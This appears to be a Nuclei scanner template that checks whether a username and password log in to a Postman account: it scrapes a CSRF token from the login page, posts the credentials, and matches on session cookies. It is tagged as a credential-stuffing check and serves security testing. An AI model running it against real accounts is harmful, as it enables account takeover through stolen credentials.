id: postman-login-check

info:
  name: Postman Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid postman account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: cloud,creds-stuffing,login-check,postman,vuln

self-contained: true

flow: |
  if (template["username"] && template["password"]) {
    http();
  }

http:
  - raw:
      - |
        GET https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Referer: https://identity.getpostman.com/accounts
      - |
        POST https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Content-Type: application/json;charset=UTF-8
        X-Csrf-Token: {{csrfToken}}
        Origin: https://identity.getpostman.com
        Referer: https://identity.getpostman.com/login

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork

    extractors:
      - type: xpath
        name: csrfToken
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div/div/div[1]/form/input

      - type: dsl
        dsl:
          - username
          - password
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'set-cookie: getpostmanlogin=yes')"
          - "contains(to_lower(body), 'identity.postman.co/continue')"
          - "status_code==200"
        condition: and
# digest: 490a0046304402206204f4e92368f325f34185ffcf3e7121f9b3d87000055e33f26cd3898159c61e02204bc5d60fe9e2731f8c3a3104328986e243c557c4c9efb79c402dedc6ce5da3ab:922c64590222798bb761d5b6d8e72950